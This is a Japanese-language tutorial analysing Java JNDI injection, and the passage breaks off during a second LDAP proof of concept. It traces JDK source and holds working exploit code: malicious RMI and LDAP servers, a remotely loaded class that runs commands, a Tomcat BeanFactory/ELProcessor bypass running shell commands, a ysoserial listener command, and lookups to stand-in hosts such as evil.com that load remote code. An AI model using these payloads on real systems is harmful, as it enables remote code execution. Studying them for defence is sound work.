JNDI インジェクション#
0x01 JNDI とは何か#
RMI && LDAP#
ディレクトリは分散データベースの一種であり、ディレクトリサービスはディレクトリデータベースと一連のアクセスプロトコルから構成されるシステムです。LDAP は軽量ディレクトリアクセスプロトコルの略で、インターネットディレクトリデータを照会、ブラウズ、検索、変更するためのメカニズムを提供し、TCP/IP プロトコルスタックの上で動作し、C/S アーキテクチャに基づいています。RMI サービスの他に、JNDI は LDAP ディレクトリサービスとも相互作用でき、Java オブジェクトは LDAP ディレクトリ内にさまざまな保存形式を持ちます:
- Java シリアル化
- JNDI リファレンス
- Marshalled オブジェクト
- リモートロケーション(廃止)
LDAP は保存された Java オブジェクトに対してさまざまな属性を指定できます:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
JNDI の原理#
JNDI - Java ネーミングおよびディレクトリインターフェース、JNDI は統一されたクライアント API を提供し、異なるサービスプロバイダインターフェース(SPI)の実装を通じて、管理者が JNDI API を特定のネーミングサービスおよびディレクトリシステムにマッピングできるようにし、Java アプリケーションがこれらのネーミングサービスおよびディレクトリサービスと相互作用できるようにします。
ネーミングサービス(Naming Service)
ネーミングサービスは、キーと値の単純なバインディングであり、キー名を使用して値を検索できます。RMI は典型的なネーミングサービスです。
- ネーミングサービスは、名前と値を関連付けるエンティティであり、「バインディング(binding)」とも呼ばれます。
- 名前に基づいてオブジェクトを検索するためのツールを提供し、その名前は「ルックアップ(lookup)」または「検索(search)」操作と呼ばれます。
ディレクトリサービス(Directory Service)
LDAP は典型的なディレクトリサービスです。
- 「ディレクトリオブジェクト」を保存および検索するための特別なタイプのネーミングサービスを許可します。
- ディレクトリオブジェクトは一般的なオブジェクトとは異なり、属性をオブジェクトに関連付けることができます。
- したがって、ディレクトリサービスはオブジェクト属性を操作するための拡張機能を提供します。
ネーミングサービスとディレクトリサービスの本質は同じであり、どちらもキーを使用してオブジェクトを検索しますが、ディレクトリサービスのキーはより柔軟で複雑です。
簡単に言えば、JNDI はアプリケーションが LDAP、RMI、CORBA などの異なるバックエンドサービスに簡単にアクセスできるための一連の汎用インターフェースを提供します。以下の図のように:
Java では、リモートリソースオブジェクトをより便利に管理、アクセス、呼び出すために、LDAP や RMI などのサービスを使用してリソースオブジェクトやメソッドを固定のリモートサーバーにバインドし、アプリケーションがアクセスおよび呼び出しを行うことがよくあります。
簡単な JNDI の例:
package jndi_test;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
package jndi_test;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "こんにちは " + name + " ^_^";
}
}
package jndi_test;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception {
// JNDIのデフォルト設定を構成
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
// ローカルで1099ポートを開き、RMIサービスとして「hello」という識別子でメソッドオブジェクトをバインド
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
// JNDIがRMI上のメソッドオブジェクトを取得し、呼び出す
IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
System.out.println(rHello.sayHello("RickGray"));
}
}
JNDI はリモートメソッド sayHello を取得して呼び出しました。
ここでは JNDI サービスを初期化し、JNDI 設定を初期化する際にそのコンテキスト環境(RMI、LDAP または CORBA など)を事前に指定できます。ここでの例は、コンテキスト環境を RMI として指定しています。
プロセス:
ここでは JNDI を使用してリモート sayHello () 関数を取得し、「RickGray」パラメータを渡して呼び出すと、実際にその関数がリモートサーバーで実行され、実行が完了すると結果がシリアル化されてアプリケーション側に返されます。
RMI における動的バイトコードのロード#
リモートで RMI サービス上のオブジェクトが Reference クラス(参照オブジェクトタイプの抽象基底クラス)またはそのサブクラスである場合、クライアントがリモートオブジェクトのスタブインスタンスを取得すると、他のサーバーから class ファイルをロードしてインスタンス化できます。
Reference のいくつかの重要な属性:
- className - リモートロード時に使用されるクラス名
- classFactory - ロードされた class でインスタンス化するクラスの名前
- classFactoryLocation - classes データを提供するアドレスで、file/ftp/http などのプロトコルを使用できます
例えば、ここで Reference インスタンスを定義し、UnicastRemoteObject クラスを継承した ReferenceWrapper でインスタンスオブジェクトをラップして、RMI を介してリモートアクセスできるようにします:
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
クライアントが lookup ("refObj") を介してリモートオブジェクトを取得すると、Reference クラスのスタブが取得されます。取得されたのは Reference インスタンスであるため、クライアントは最初にローカルの CLASSPATH で refClassName として識別されるクラスを探し、ローカルに見つからない場合はhttp://example.com:12345/refClassName.classにリクエストして classes を動的にロードし、insClassName のコンストラクタを呼び出します。
ここでは、RMI リモートオブジェクトを取得する際に、外部コードを動的にロードしてオブジェクトタイプをインスタンス化できることを示しています。また、JNDI も RMI リモートオブジェクトにアクセスする能力を持っており、lookup () 関数のパラメータ値が制御可能であれば、攻撃者のサーバーにデプロイされた悪意のあるコードをロードして実行する可能性があります。
JNDI プロトコルの動的変換#
前述のように、JNDI 設定を初期化する際にそのコンテキスト環境(RMI、LDAP または CORBA など)を事前に指定できます。
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
lookup () または search () を呼び出す際に、URI を使用して動的にコンテキスト環境を変換できます。
例えば、上記のように Context.PROVIDER_URL 属性を使用して現在のコンテキストが RMI サービスにアクセスするように設定しましたが、LDAP サービス上のバインドオブジェクトにアクセスするために LDAP の URI 形式を直接使用してコンテキスト環境を変換することもできます:
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
なぜ絶対パス URI を使用して動的にコンテキスト環境を変換できるのでしょうか?
InitialContext#lookup:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
getURLOrDefaultInitCtx () 関数の具体的なコード実装は次のとおりです:
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
最初に FactoryBuilder が設定されているかどうかを判断しますが、実際にはこれは私たちが設定したINITIAL_CONTEXT_FACTORY
とは関係ありません。最終的には null を返します。
次に getURLScheme に入ります。
://
の前の内容をプロトコル名として取得し、NamingManager.getURLContext () に渡します。
見ての通り、スキームが取得できない場合は、元の env で指定されたINITIAL_CONTEXT_FACTORY
を使用します。そうでなければ、動的に変換を行い、現在のプロトコルに対応するコンテキストファクトリを取得します。
getURLObject に進みます。
ResourceManager.getFactory()
はcontext classloader
を介して対応するファクトリクラスをロードします。
その後、ファクトリクラスの getObjectInstance メソッドを呼び出して、対応するプロトコルのコンテキストを取得します。
要するに、最終的に返されるコンテキストのタイプは lookup で渡された uri に依存します。uri が省略された場合にのみ、env で指定されたINITIAL_CONTEXT_FACTORY
が使用されます。
最初に lookup () 関数を呼び出すと、コンテキスト環境が初期化され、この時点でコードは paramName パラメータ値に対して URL 解析を行います。paramName に特定のスキーマプロトコルが含まれている場合、コードは対応するファクトリを使用してコンテキスト環境を初期化します。この時点で、以前に構成されたファクトリ環境が何であっても、ここで動的に置き換えられます。
JNDI はデフォルトで動的変換をサポートするプロトコルは以下の通りです。
プロトコル名 | プロトコル URL | Context クラス |
---|---|---|
DNS プロトコル | dns:// | com.sun.jndi.url.dns.dnsURLContext |
RMI プロトコル | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
LDAP プロトコル | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
LDAP プロトコル | ldaps:// | com.sun.jndi.url.ldaps.ldapsURLContextFactory |
IIOP オブジェクトリクエストブローカー | iiop:// | com.sun.jndi.url.iiop.iiopURLContext |
IIOP オブジェクトリクエストブローカー | iiopname:// | com.sun.jndi.url.iiopname.iiopnameURLContextFactory |
IIOP オブジェクトリクエストブローカー | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory |
0x02 JNDI インジェクション#
JNDI インジェクションの核心には 2 つのポイントがあります。
- 動的プロトコル変換
- Reference クラス
バージョン制限#
- JDK 5U45、6U45、7u21、8u121 から
java.rmi.server.useCodebaseOnly
のデフォルト設定が true になり、RMI ClassLoader を使用してリモートクラスをロードすることが禁止されました(ただし、Reference がリモートクラスをロードする際に本質的に URLClassLoader を利用しているため、このパラメータは JNDI インジェクションには影響しません)。 - JDK 6u132、7u122、8u113 から
com.sun.jndi.rmi.object.trustURLCodebase
とcom.sun.jndi.rmi.object.trustURLCodebase
のデフォルト値が false になり、RMI および CORBA プロトコルがリモート codebase を使用して JNDI インジェクションを行うことが禁止されました。 - JDK 11.0.1、8u191、7u201、6u211 から
com.sun.jndi.ldap.object.trustURLCodebase
がデフォルトで false になり、LDAP プロトコルがリモート codebase を使用して JNDI インジェクションを行うことが禁止されました。
RMI および LDAP を介した JNDI インジェクション(jdk<8u191)#
RMI および LDAP を介した JNDI インジェクションは、Reference クラスの特別な処理に基づいています。
利用条件#
- クライアントの lookup () メソッドのパラメータが制御可能であること
- サーバーが Reference を使用する際、classFactoryLocation パラメータが制御可能であること
インジェクションプロセス#
インジェクションプロセス:
- 攻撃者は悪意のあるオブジェクトを構築し、そのコンストラクタに悪意のあるコードを追加します。それをサーバーにアップロードしてリモートロードを待ちます。
- 悪意のある RMI サーバーを構築し、ReferenceWrapper オブジェクトをバインドします。ReferenceWrapper オブジェクトは Reference オブジェクトのラッパーです。
- 攻撃者は制御可能な URI パラメータを介して動的環境変換をトリガーします。例えば、ここでの URI は rmi://evil.com:1099/refObj です;
- 元々設定されていたコンテキスト環境 rmi://localhost:1099 は動的環境変換により rmi://evil.com:1099 に指向されます;
- アプリケーションは rmi://evil.com:1099 にリクエストしてバインドオブジェクト refObj を取得し、攻撃者が事前に準備した RMI サービスが名前 refObj にバインドされた ReferenceWrapper オブジェクト(Reference ("EvilObject", "EvilObject", "http://evil-cb.com/"))を返します;
- Reference オブジェクトにはリモートアドレスが含まれており、そのリモートアドレスから悪意のあるオブジェクトクラスをロードできます。
- JNDI は lookup プロセス中に Reference オブジェクトを解析し、悪意のあるオブジェクトをリモートロードして脆弱性を引き起こします。
なぜ RMI の攻撃方法の中でリモートで Reference オブジェクトをロードする方法が言及されていないのかというと、実際にはここでクライアントが変更されているからです。以前はクライアントが RMI を介してサーバーのメソッドをリモート呼び出ししていましたが、ここでは JNDI が呼び出すため、lookup メソッドが変更され、JNDI プロトコルの動的変換が発生し、動的環境変換が引き起こされました。
0x03 RMI#
例:
サーバー
package Inject;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://127.0.0.1:8080/";
Reference reference = new Reference("evilObject","evilObject", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("w0s1np", wrapper);
System.err.println("サーバーが準備完了、factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("サーバー例外: " + e.toString());
e.printStackTrace();
}
}
}
package Inject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
クライアントが InitialContext ().lookup () メソッドを呼び出すと、http://127.0.0.1:8080/evilObject.classからクラスを取得し、コンストラクタ内の悪意のあるコードをトリガーします。
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
evilObject.java を別のディレクトリに置きます(脆弱性再現中にアプリケーション側が EvilObject オブジェクトをインスタンス化する際に、CLASSPATH の現在のパスからコンパイル済みバイトコードを見つけてしまい、リモートでダウンロードされないようにするためです)。
低バージョン jdk の分析#
jdk8u_202、65、20 の混合デバッグで、RMI 反シリアル化と同様に、低バージョン jdk ではデバッグが進まないことがあります。
lookup 後のプロセスを分析します。
最初に RegistryContext@763 オブジェクトを取得し、そこにはスタブオブジェクトと RMI サービスのアドレス、ポート情報が含まれています。その後、RegistryContext@763 オブジェクトの lookup メソッドに入ります。
次に、RegistryImpl_Stub@764 オブジェクトの lookup を呼び出します。この部分は RMI プロトコルにおける Stub と Skeleton の通信プロセスと同じです。
つまり、registry#lookup
はリモート悪意のあるサーバーにバインドされた Remote クラスを取得します。
その後、RegistryContext#decodeObject
メソッドを呼び出し、その Remote クラスの getObjectInstance をインスタンス化します。
var1 が RemoteReference またはそのサブクラスのインスタンスであるかどうかを判断し、次にNamingManager.getObjectInstance()
を呼び出します。
最初にgetObjectFactoryFromReference
を呼び出してファクトリインスタンスを取得し、その後、ファクトリのgetObjectInstance
メソッドを呼び出します。
getObjectFactoryFromReference を追跡します。
最初にhelper.loadClass()
を呼び出します。このメソッド内部では、コンテキストから AppClassLoader を取得し、ローカルでファクトリクラスをロードしようとします。
失敗した場合は、codebase(つまり factoryLocation)を取得し、helper に渡して URLClassLoader を使用してロードを試みます。
リモートロード、FactoryURLClassLoader
はURLClassLoader
のサブクラスです。
上記のClass.forName
の第二引数はtrue
であり、ここでのロード時にstatic
領域のコードがトリガーされます。
クラスを取得した後、
ここで自構造体
のコードがトリガーされます(ここではObjectFactory
クラスに変換されます。エラーを報告しないためには、悪意のあるコードがこのインターフェースを継承する必要があります)。
戻った後、getObjectInstance()
メソッドがもう一度呼び出されます。
小結#
以下の 3 つのコードブロックはすべて、私たちの悪意のあるコードを実行できます。
- static 領域
- 自構造体
- getObjectInstance()
高バージョン jdk の分析#
最初に制限がどこに加えられているかを確認します。
RegistryContext#decodeObject
はNamingManager.getObjectInstance
の前にReference
オブジェクトを判断し、var8.getFactoryClassLocation()
は私たちが設定したリモートアドレスcodebase
です。trustURLCodebase
のデフォルトはfalse
です。
これは、デフォルトで遠隔アドレス
を設定できないことを意味し、悪意のあるクラスのリモートロードを防ぎます。
ローカルファクトリクラス#
codebase を介してリモートロードが禁止されているので、利用可能なローカルファクトリをロードして Java コードを実行します。
ただし、この利用方法はターゲットマシンのローカル classpath に対応するファクトリが存在するかどうかに依存します。
危険な関数は、上記の小結部分の 3 つ:static
、自構造体
、getObjectInstance()
ですが、実際にはstatic
と自構造体
は利用可能な場所が存在しないため、主にgetObjectInstance()
を探します。getObjectInstance()
はObjectFactory
インターフェースのメソッドであるため、ObjectFactoryの継承クラス
を探せばよいのです。
この方法は他のコンポーネントの依存にも依存しますが、最も一般的なのはorg.apache.naming.factory.BeanFactory
とjavax.el.ELProcessor
です。
BeanFactory は Tomcat の依存パッケージから来ているため、適用範囲は比較的広いです。
ELProcessor は Java に付属の式解析エンジンです。
以下のtomcat
依存関係を追加します。
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.0</version>
</dependency>
package rmi_bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class RMIServer {
public static void main(String[] args) throws Exception{
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
InitialContext ctx = new InitialContext(env);
Registry registry = LocateRegistry.createRegistry(1099);
// Referenceをインスタンス化し、ターゲットクラスをjavax.el.ELProcessor、ファクトリクラスをorg.apache.naming.factory.BeanFactoryに指定
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 'x'属性のsetterを'setX'から'eval'に強制的に変更、詳細なロジックはBeanFactory.getObjectInstanceコードを参照
ref.add(new StringRefAddr("forceString", "x=eval"));
// 式を実行
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("w0s1np", referenceWrapper);
}
}
正向分析#
最初にNamingManager#getObjectInstance
に進みます。
BeanFactory#getObjectInstance
に入ります。
getObjectInstance は現在の ref オブジェクトが ResourceRef のインスタンスであるかどうかを判断します。ResourceRef は Reference のサブクラスです。
したがって、ファクトリクラスをロードするために ResourceRef を構築する必要があります。通常使用される Reference ではありません。
その後、クラス名を取得し、javax.el.ELProcessor
を取得します。
“forceString”
は属性の setter メソッドを強制的に指定できます。ここでは属性「x」の setter メソッドをELProcessor.eval()
メソッドに設定します。
最初に ref からforceString
属性を取得し、次に,
で分割して複数のメソッドを取得し、=
で分割して各値を取得します。前者は最後にmapのkey
に入れられ、後者はmethod名前
を取得します(注意:ここでは String を引数とするメソッドのみが取得されます)。
次に、以下の while ループに入ります。ここではType
を取得し、if の値でない場合は、前に設定したforced
からこのType名
を取得して、ここでx
を取得し、反射を使用してこのメソッドを呼び出します。引数は x に対応する値です。
bean オブジェクトは beanClass をインスタンス化したものであり、invoke が成功すればjavax.el.ELProcessor#eval
が呼び出されます。
利用小結
BeanFactory#getObjectInstance
の利用条件:
- JDK または一般的なライブラリのクラスであること
- public 修飾の無引数コンストラクタがあること // 明らかに、直接 newInstance () でオブジェクトを取得できます。
- public 修飾の引数が 1 つだけの String.class タイプのメソッドがあり、そのメソッドが脆弱性を引き起こすことができること //String メソッドを呼び出すことができます。
上記は el 式を利用しています。
逆向挖掘分析#
ReferenceRef の定位
RegistryContext#decodeObject
の制限ロジックから、java.naming.Reference
は使用できません。なぜなら、getFactoryClassLocation
が通過しないからです。
var8 = (Reference)var3;
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("オブジェクトファクトリは信頼されていません。システムプロパティ'com.sun.jndi.rmi.object.trustURLCodebase'を'true'に設定してください。");
}
では、どのクラスが満たされるか?
- Reference を継承すること
- getFactoryClassLocation が null であること
Reference のサブクラスを探してみましょう。
ReferenceWrapper の定位
ResourceRef が特定されましたが、直接 bind することはできません。なぜなら、java.rmi.registry.Registry は Remote クラスのみを bind できるからです。
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException;
JNDI-RMI の低バージョンインジェクションでは、以下の 2 つの方法で bind できます:
#1. 悪意のあるコードブロックを持つクラスインスタンスを直接バインド
registry.bind("Exploit", (Remote) new Exploit());
#2. reference
Reference reference = new Reference("Exploit",
"Exploit",
"http://localhost:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
しかし、ReferenceWrapper(ResourceRef)
は可能でしょうか?
public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}
ResourceRef は Reference を継承しているため、可能です。
BeanFactory の定位
再びNamingManager#getObjectInstance
に戻ります。
ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);
ResourceRef
のコンストラクタを確認します。
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation)
したがって、ObjectFactory
を継承し、getObjectInstance
に危険な関数が存在すればよいのです。
その後、BeanFactory
の本来の目的は、リフレクションを使用して特定の BeanClass の setter に値を設定することです。
しかし、forceString
パラメータを介して setter をELProcessor
のeval
に強制的に指定できるため、beanclass.getMethod()
はeval
の Method オブジェクトを取得します。
その利用条件は:
- 無引数コンストラクタが必要です(
Object bean = beanClass.getConstructor().newInstance();
)。 - 条件を満たすメソッドを呼び出すことができ、メソッドの引数は 1 つで、タイプは String であること(Reference の属性を参照して setter メソッドのエイリアスを検索できます)。
- set * メソッドを呼び出すことができ、メソッドの引数は 1 つで、タイプは String であること。
- 上記のメソッドはすべて public であること。
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. クラスオブジェクトを反射で取得
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. クラスインスタンスを初期化
Object bean = beanClass.getConstructor().newInstance();
// 3. Referenceの属性を参照してsetterメソッドのエイリアスを検索
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();
// 4. エイリアスを解析し、辞書に保存
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. すべての属性を解析し、エイリアスに基づいてsetterメソッドを呼び出す
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}
反序列化#
悪意のあるシリアライズデータを返すために register を利用する
lookup
内でclient
はregister
とデータを送受信し、反序列化
が行われます。
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open -a Calculator"
その後、client コードを実行すれば、new InitialContext().lookup
のパラメータが制御可能であり、サーバーに gadget が存在する場合、反序列化を行うことができます。
lookup を進めると、RegistryImpl_Stub#lookup
メソッドに到達します。
ここではregister
からシリアライズデータを受信する準備をし、次にStreamRemoteCall#executeCall
に進みます。
executeCall()
では、this.getInputStream();
がregister
から返されたシリアライズデータを受信します(ここで悪意のあるシリアライズデータを構築すれば利用可能です)。その後、下部で反序列化が行われます。
0x04 LDAP#
jdk8u191
以前は ldap を使用してリモート悪意のあるクラスをロードできました。
ldapサーバー
には以下の依存関係が必要です。
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.7</version>
</dependency>
poc:
package LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:4444/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 戻りシリアライズGadget
// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// } catch (ParseException exception) {
// exception.printStackTrace();
// }
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
低バージョン jdk の分析#
jdk8u65
最初にプロトコルの違いに基づいて異なるコンテキストを取得し、NamingManager#getURLContext
に入ります。
ResourceManager#getFactory
に入ります。
classSuffix
はプロトコル名に基づいて接続され、次にこのクラスをインスタンス化します。その後、return factory;
が行われます。
その後、ldapURLContextFactory.getObjectInstance
が呼び出され、ldapのコンテキスト(ldapURLContext)
が返されます。
その後、this.getRootURLContext
が呼び出され、var3
はLdapCtx
であり、これにより後続の流れが RMI とは異なることになります。
c_lookup#
lookup を進めると、
LdapCtx#doSearchOnce
がldapにリクエストを送信
し、値を取得します。
その後、サーバーはこの値をclient側
に送信します。
戻ってきた値からattributes
属性を取得します。
javaClassName
が設定されているため、Obj#decodeObject
に入ります。
最後の else に入ります:
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
ここでは、入力 url に基づいてオブジェクト名を取得し、Reference でラップし、LdapCtx#c_lookup に戻ります。
ここで、getObjectInstance()
が呼び出され、その後のロジックは RMI と同じです。
evilObject をインスタンス化して RCE を実行します。
小結#
上記の分析により、ldap と rmi のリモート悪意のあるクラス呼び出しプロセスには違いがあることがわかります。
ldap 呼び出しスタック
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)
rmi 呼び出しスタック
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)
var8.getFactoryClassLocation()
の検出はrmi
のdecodeObject
内で行われますが、ldapプロトコル
は他の lookup を呼び出し、decodeObject
を呼び出さないため、リモートロードが実行されません。両者のプロトコル呼び出しメカニズムは異なります。
したがって、8u113~8u190
の間、com.sun.jndi.rmi.object.trustURLCodebase
のデフォルト値はfalse
であり、ldap は影響を受けず、リモート悪意のあるクラスを呼び出すことができます。
高バージョン jdk の分析#
8u191 以降、リモートクラスをロードする際にtrustURLCodebase
の判断が追加され、悪意のあるクラスのリモートロードが完全に防止されました。
反序列化#
Obj#decodeObject
内には、反序列化
を行うdeserializeObject()
が存在し、ldapサーバー
から返されたデータが反序列化
されます。利用可能な依存関係があれば、gadget を利用できます。
そのため、JAVA_ATTRIBUTES[1]
、すなわちjavaSerializedData
に値を設定する必要があります。
poc#
package LDAP;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
